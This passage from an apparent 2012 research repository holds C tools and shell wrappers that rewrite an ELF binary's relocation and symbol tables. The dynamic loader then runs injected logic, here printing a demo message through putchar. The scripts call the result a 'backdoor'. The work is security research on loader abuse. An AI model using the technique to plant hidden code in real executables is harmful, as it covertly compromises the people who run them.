207 | memcpy(newrel->data, dynrel->data, sz); 208 | 209 | // find base address of libary 210 | set_next_reloc(&l, R_X86_64_COPY, got.index, symtab_get_value_addr(&got), 0); 211 | set_next_reloc(&l, R_X86_64_64, got.index, symtab_get_value_addr(&got), get_l_next(0)); //calculate l_next address location 212 | 213 | set_next_reloc(&l, R_X86_64_COPY, got.index, symtab_get_value_addr(&got), 0); 214 | set_next_reloc(&l, R_X86_64_64, got.index, symtab_get_value_addr(&got), get_l_next(0)); //calculate l_next address location 215 | 216 | set_next_reloc(&l, R_X86_64_COPY, got.index, symtab_get_value_addr(&got), 0); //get link_map addr 217 | set_next_reloc(&l, R_X86_64_COPY, got.index, symtab_get_value_addr(&got), 0); //get laddr 218 | set_next_reloc(&l, R_X86_64_64, got.index, symtab_get_value_addr(&got), get_getchar_offset(libc));//adds offset of exit to libc base addr, stores in symbol's value 219 | printf("&exit: %x\n", get_getchar_offset(libc)); 220 | 221 | //ret = find_ret_loc(l.lm_f); // find a location of a ret instruction in ping's binary 222 | //printf("Found a ret at %x\n", ret); 223 | 224 | 225 | // make the 0th symbol be of type ifunc 226 | set_next_reloc(&l, R_X86_64_RELATIVE, 0, got.addr, 0x0100000a00000000); 227 | 228 | //reloc_get_reloc_entry(&l, exitr_addr, &exitr); 229 | reloc_get_reloc_entry(&l, nextrel, &first); 230 | set_next_reloc(&l, R_X86_64_64, got.index, reloc_get_offset_addr(&first), 0); // calls exit 231 | //reloc_get_reloc_entry(&l, irel_addr, &irel); 232 | //reloc_set_relaoffset(&exitr, reloc_get_addend_addr(&irel)); //tell exit to write addr exit to IRELATIVE entry 233 | 234 | //set_next_reloc(&l, R_X86_64_TLSDESC, got.index, reloc_get_offset_addr(&first), 0); //this will cause a floating point exception 235 | 236 | aspect_init(); 237 | aspectworld.profile = printf; 238 | aspectworld.profile_err = printf; 239 | 240 | //profiler_enable_err(); 241 | elfutils_save_elf_file(l.lm_f, output); 242 | 243 | return 0; 244 | } 245 | -------------------------------------------------------------------------------- /syscall/getchar/getchar.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | # Copyright (c) 2012 Rebecca (bx) Shapiro 4 | # Permission is hereby granted, free of charge, to any person obtaining a copy 5 | # of this software and associated documentation files (the "Software"), to deal 6 | # in the Software without restriction, including without limitation the rights 7 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | # copies of the Software, and to permit persons to whom the Software is 9 | # furnished to do so, subject to the following conditions: 10 | # The above copyright notice and this permission notice shall be included in all 11 | # copies or substantial portions of the Software. 12 | 13 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 14 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 15 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 16 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 17 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 18 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 19 | # SOFTWARE. 20 | 21 | # this is a wrapper script to make it easy to compile the backdoor 22 | 23 | INPUT=../../demo/demo 24 | OUTPUT=demo 25 | LIBC=`ldd $INPUT | grep libc.so.6 | awk '{print $3}'` 26 | echo "running ./exit $INPUT $OUTPUT $LIBC" 27 | ./getchar $INPUT $OUTPUT $LIBC 28 | -------------------------------------------------------------------------------- /syscall/putchar/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | 2 | # Copyright (c) 2012 Rebecca (bx) Shapiro 3 | 4 | # Permission is hereby granted, free of charge, to any person obtaining a copy 5 | # of this software and associated documentation files (the "Software"), to deal 6 | # in the Software without restriction, including without limitation the rights 7 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | # copies of the Software, and to permit persons to whom the Software is 9 | # furnished to do so, subject to the following conditions: 10 | 11 | # The above copyright notice and this permission notice shall be included in all 12 | # copies or substantial portions of the Software. 13 | 14 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 15 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 17 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 18 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 19 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 20 | # SOFTWARE. 21 | 22 | 23 | 24 | include_directories(${elf-bf-tools_SOURCE_DIR}/libelf_bf) 25 | add_executable(putchar putchar.c) 26 | 27 | 28 | link_directories(/usr/local/lib) 29 | target_link_libraries(putchar ${ELFBF_LIBS}) 30 | -------------------------------------------------------------------------------- /syscall/putchar/putchar.c: -------------------------------------------------------------------------------- 1 | /* Copyright (c) 2012 Rebecca (bx) Shapiro 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining a copy 4 | of this software and associated documentation files (the "Software"), to deal 5 | in the Software without restriction, including without limitation the rights 6 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 7 | copies of the Software, and to permit persons to whom the Software is 8 | furnished to do so, subject to the following conditions: 9 | 10 | The above copyright notice and this permission notice shall be included in all 11 | copies or substantial portions of the Software. 12 | 13 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 14 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 15 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 16 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 17 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 18 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 19 | SOFTWARE. 20 | */ 21 | #define _GNU_SOURCE /* See feature_test_macros(7) */ 22 | 23 | #include 24 | #include 25 | #include "elf_bf_utils.h" 26 | #include "reloc.h" 27 | #include "symtab.h" 28 | #include 29 | #define NUM_RELOC 100 30 | #define RET 0xc3 31 | 32 | // returns the location of a ret in the text segment 33 | void insert_putchar(char c, elf_bf_link_map_t *l, elf_bf_Sym *got); 34 | eresi_Addr find_ret_loc(f) 35 | { 36 | // look at text segment, search for byte value c3 37 | elfshsect_t *text, *init, *plt; 38 | eresi_Addr offset; 39 | unsigned char *data; 40 | eresi_Addr sz, i; 41 | text = elfsh_get_section_by_name(f,".text", NULL, NULL, NULL); 42 | 43 | data = (char *) text->data; 44 | sz = elfsh_get_section_size(text->shdr); 45 | 46 | for (i = 0; i < sz; i++) { 47 | if (RET == data[i]) { 48 | return i + text->shdr->sh_addr; 49 | } 50 | } 51 | return -1; 52 | } 53 | 54 | elfsh_Sym * get_sym_from_relplt_ent(f, r) 55 | { 56 | elfshsect_t *pltrel, *symtab, *strtab; 57 | pltrel = elfsh_get_section_by_name(f,".rela.plt", NULL, NULL, NULL); 58 | 59 | // lookup symbol table 60 | symtab = elfsh_get_section_by_index(f, elfsh_get_section_link(pltrel->shdr), NULL, NULL); 61 | 62 | // lookup strtab 63 | strtab = elfsh_get_section_by_index(f, elfsh_get_section_link(symtab->shdr), NULL, NULL); 64 | 65 | // get symbol 66 | elfsh_Sym *table; 67 | table = (elfsh_Sym *) symtab->data; 68 | 69 | return elfsh_get_symbol_by_index(table, elfsh_get_relsym(r)); 70 | } 71 | char *get_symname_from_relplt_ent(f, r) 72 | { 73 | elfsh_Sym *sym; 74 | elfshsect_t *pltrel, *symtab, *strtab; 75 | pltrel = elfsh_get_section_by_name(f,".rela.plt", NULL, NULL, NULL); 76 | 77 | // lookup symbol table 78 | symtab = elfsh_get_section_by_index(f, elfsh_get_section_link(pltrel->shdr), NULL, NULL); 79 | 80 | // lookup strtab 81 | strtab = elfsh_get_section_by_index(f, elfsh_get_section_link(symtab->shdr), NULL, NULL); 82 | 83 | sym = get_sym_from_relplt_ent(f, r); 84 | eresi_Addr nameidx = sym->st_name; 85 | return (char *) (strtab->data + nameidx); 86 | } 87 | 88 | // we have to implemt this ourselves becasuse eresi's version asumes we have rel entries (not rela) 89 | elfsh_Rela *find_relplt_ent_by_name(elfshobj_t *f, char *name) 90 | { 91 | elfshsect_t *pltrel = elfsh_get_section_by_name(f,".rela.plt", NULL, NULL, NULL); 92 | // lookup num of relents in section 93 | eresi_Addr numrel = elfsh_get_section_size(pltrel->shdr)/sizeof(elfsh_Rela); 94 | elfsh_Rela *r, *table; 95 | int i; 96 | char *cmpname; 97 | table = (elfsh_Rela *) pltrel->data; 98 | for (i = 0; i < numrel; i++) { 99 | //look at each entry 100 | r = &(table[i]); 101 | cmpname = get_symname_from_relplt_ent(f, r); 102 | if(strcmp(name, cmpname) == 0){ 103 | return r; 104 | } 105 | } 106 | return NULL; 107 | } 108 | 109 | 110 | eresi_Addr get_putchar_offset(char *libc) 111 | { 112 | elfshobj_t *f; 113 | elfsh_Rela *r; 114 | elfsh_Sym *s; 115 | int i; 116 | char *cmpname; 117 | f = elfutils_read_elf_file(libc); 118 | 119 | elfshsect_t *dynsym, *strtab; 120 | dynsym = elfsh_get_section_by_name(f,".dynsym", NULL, NULL, NULL); 121 | 122 | // lookup strtab 123 | strtab = elfsh_get_section_by_index(f, elfsh_get_section_link(dynsym->shdr), NULL, NULL); 124 | 125 | // get symbol 126 | elfsh_Sym *table; 127 | table = (elfsh_Sym *) dynsym->data; 128 | eresi_Addr numsym = elfsh_get_section_size(dynsym->shdr)/sizeof(elfsh_Sym); 129 | 130 | char *strs = strtab->data; 131 | 132 | for (i = 0; i < numsym; i++) { 133 | //look at each entry 134 | s = &(table[i]); 135 | cmpname = strs + s->st_name; 136 | if(strcmp("putchar", cmpname) == 0){ 137 | return s->st_value; 138 | } 139 | } 140 | return 0; 141 | } 142 | 143 | int main(int argv, char *argc[]) 144 | { 145 | elfshsect_t *newrel, *dynsym, *dynrel, *bss, *newsym, *pltrel; 146 | char *reladyndata; 147 | elf_bf_link_map_t l; 148 | elf_bf_Sym got, copy; 149 | eresi_Addr sz, ret; 150 | //elf_bf_Rela r[NUM_RELOC]; 151 | eresi_Addr i; 152 | char *input, *output, *libc; 153 | 154 | if (argv != 4) { 155 | fprintf(stderr, "recieved %d args, usage: %s \n", argv, argc[0]); 156 | exit(-1); 157 | } else { 158 | input = argc[1]; 159 | output = argc[2]; 160 | libc = argc[3]; 161 | printf("input: %s\noutput: %s\nlibc: %s\n", input, output, libc); 162 | } 163 | 164 | l.lm_f = elfutils_read_elf_file(input); 165 | // Read PLTGOT value from dynamic table 166 | elfsh_Dyn *dyn; 167 | eresi_Addr pltgot; 168 | dyn = elfsh_get_dynamic_entry_by_type(l.lm_f, DT_PLTGOT); 169 | pltgot = elfsh_get_dynentry_val(dyn); 170 | printf("pltgot: %x\n", pltgot); 171 | // find relent for strcasecmp 172 | elfsh_Rela *exit = NULL; 173 | elf_bf_Rela first; 174 | 175 | elf_bf_Rela irel, setrel;//, exitr; 176 | eresi_Addr irel_addr, setrel_addr;//, exitr_addr; 177 | //get current dynsym 178 | dynsym = elfsh_get_section_by_name(l.lm_f,".dynsym", NULL, NULL, NULL); 179 | sz = elfsh_get_section_size(dynsym->shdr); 180 | 181 | //make a copy of this dynsym table so it is in writable memory 182 | newsym = insert_symtab_sec(l.lm_f, sz/sizeof(Elf64_Sym), elfsh_get_section_link(dynsym->shdr)); 183 | elfsh_set_section_type(dynsym->shdr,ELFSH_SECTION_DYNSYM); 184 | memcpy(newsym->data, dynsym->data, sz); 185 | l.lm_sym = newsym; 186 | 187 | //fix dynamic table to use new sym table 188 | fixup_dynamic_sym(l.lm_f, elfsh_get_section_addr(newsym->shdr), elfsh_get_section_size(newsym->shdr)); 189 | 190 | // get a copy of the existing reloc table 191 | dynrel = elfsh_get_section_by_name(l.lm_f,".rela.dyn", NULL, NULL, NULL); 192 | sz = elfsh_get_section_size(dynrel->shdr); 193 | eresi_Addr nextrel = sz/sizeof(Elf64_Rela); 194 | printf("rel sz: %d, numrel %d\n", sz, nextrel); 195 | newrel = insert_reloc_sec(l.lm_f, nextrel + NUM_RELOC, newsym); 196 | l.lm_reloc = newrel; 197 | l.lm_allocated = 1; 198 | l.lm_next_reloc = nextrel; 199 | 200 | 201 | symtab_get_sym(&l, 0, &got); 202 | symtab_set_sym(&got, 8, pltgot + 8, STT_FUNC); //PLTGOT + 0x8 =0x610ff0 203 | 204 | 205 | // fix dynamic table to use new reloc section 206 | fixup_dynamic_rela(l.lm_f, elfsh_get_section_addr(newrel->shdr), elfsh_get_section_size(newrel->shdr)); 207 | 208 | // insert interesting relocation entries, copy over old entries 209 | memcpy(newrel->data, dynrel->data, sz); 210 | 211 | // find base address of libary 212 | set_next_reloc(&l, R_X86_64_COPY, got.index, symtab_get_value_addr(&got), 0); 213 | set_next_reloc(&l, R_X86_64_64, got.index, symtab_get_value_addr(&got), get_l_next(0)); //calculate l_next address location 214 | 215 | set_next_reloc(&l, R_X86_64_COPY, got.index, symtab_get_value_addr(&got), 0); 216 | set_next_reloc(&l, R_X86_64_64, got.index, symtab_get_value_addr(&got), get_l_next(0)); //calculate l_next address location 217 | 218 | set_next_reloc(&l, R_X86_64_COPY, got.index, symtab_get_value_addr(&got), 0); //get link_map addr 219 | 220 | set_next_reloc(&l, R_X86_64_COPY, got.index, symtab_get_value_addr(&got), 0); //get laddr 221 | 222 | 223 | 224 | set_next_reloc(&l, R_X86_64_64, got.index, symtab_get_value_addr(&got), get_putchar_offset(libc));//adds offset of exit to libc base addr, stores in symbol's value 225 | 226 | printf("&putchar: %x\n", get_putchar_offset(libc)); 227 | insert_putchar('I', &l, &got); 228 | insert_putchar('\'', &l, &got); 229 | insert_putchar('m', &l, &got); 230 | insert_putchar(' ', &l, &got); 231 | insert_putchar('i', &l, &got); 232 | insert_putchar('n', &l, &got); 233 | insert_putchar(' ', &l, &got); 234 | insert_putchar('y', &l, &got); 235 | insert_putchar('e', &l, &got); 236 | insert_putchar('r', &l, &got); 237 | insert_putchar(' ', &l, &got); 238 | insert_putchar('e', &l, &got); 239 | insert_putchar('l', &l, &got); 240 | insert_putchar('f', &l, &got); 241 | insert_putchar('\n', &l, &got); 242 | //ret = find_ret_loc(l.m_f); // find a location of a ret instruction in ping's binary 243 | //printf("Found a ret at %x\n", ret); 244 | 245 | //set_next_reloc(&l, R_X86_64_COPY, got.index, reloc_get_addr(&setrel), 0); //set rdi 246 | //irel_addr = set_next_reloc(&l, R_X86_64_IRELATIVE, 0,reloc_get_addr(&setrel),0); //call ifunc . addend is filled in at runtime. result stored at setrel_addr 247 | //set_next_reloc(&l, R_X86_64_COPY, got.index, reloc_get_addr(&setrel), 0); //set rdi 248 | //irel_addr = set_next_reloc(&l, R_X86_64_IRELATIVE, 0,reloc_get_addr(&setrel),0); //call ifunc . addend is filled in at runtime. result stored at setrel_addr 249 | //set_next_reloc(&l, R_X86_64_COPY, got.index, reloc_get_addr(&setrel), 0); //set rdi 250 | //irel_addr = set_next_reloc(&l, R_X86_64_IRELATIVE, 0,reloc_get_addr(&setrel),0); //call ifunc . addend is filled in at runtime. result stored at setrel_addr 251 | 252 | //set_next_reloc(&l, R_X86_64_TLSDESC, got.index, reloc_get_offset_addr(&setrel), 0); //this will cause a floating point exception 253 | 254 | aspect_init(); 255 | aspectworld.profile = printf; 256 | aspectworld.profile_err = printf; 257 | 258 | //profiler_enable_err(); 259 | elfutils_save_elf_file(l.lm_f, output); 260 | 261 | return 0; 262 | } 263 | 264 | 265 | void insert_putchar(char c, elf_bf_link_map_t *l, elf_bf_Sym *got) { 266 | elf_bf_Rela irel, setrel;//, exitr; 267 | eresi_Addr irel_addr, setrel_addr;//, exitr_addr; 268 | setrel_addr = set_next_reloc(l, R_X86_64_64, got->index,0, 0); // set irel's addend to addr of putchar 269 | reloc_get_reloc_entry(l, setrel_addr, &setrel); 270 | 271 | // change size of 0th symbol 272 | set_next_reloc(l, R_X86_64_RELATIVE, 0, 273 | symtab_get_value_addr(got)+8, 0); 274 | eresi_Addr v = reloc_get_addr(&setrel); 275 | v = v & 0xFFFF00; 276 | v += c; 277 | set_next_reloc(l, R_X86_64_COPY, got->index, c, 0); //set RDI value (first argument) 278 | irel_addr = set_next_reloc(l, R_X86_64_IRELATIVE, 0,reloc_get_addr(&setrel),0); //call ifunc . addend is filled in at runtime. result stored at setrel_addr 279 | reloc_get_reloc_entry(l, irel_addr, &irel); 280 | reloc_set_relaoffset(&setrel, reloc_get_addend_addr(&irel)); //tell exit to write putchar addr to IRELATIVE entry 281 | 282 | } 283 | -------------------------------------------------------------------------------- /syscall/putchar/putchar.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | # Copyright (c) 2012 Rebecca (bx) Shapiro 4 | # Permission is hereby granted, free of charge, to any person obtaining a copy 5 | # of this software and associated documentation files (the "Software"), to deal 6 | # in the Software without restriction, including without limitation the rights 7 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | # copies of the Software, and to permit persons to whom the Software is 9 | # furnished to do so, subject to the following conditions: 10 | # The above copyright notice and this permission notice shall be included in all 11 | # copies or substantial portions of the Software. 12 | 13 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 14 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 15 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 16 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 17 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 18 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 19 | # SOFTWARE. 20 | 21 | # this is a wrapper script to make it easy to compile the backdoor 22 | 23 | INPUT=../../demo/demo 24 | OUTPUT=demo 25 | LIBC=`ldd $INPUT | grep libc.so.6 | awk '{print $3}'` 26 | echo "running ./putchar $INPUT $OUTPUT $LIBC" 27 | ./putchar $INPUT $OUTPUT $LIBC 28 | --------------------------------------------------------------------------------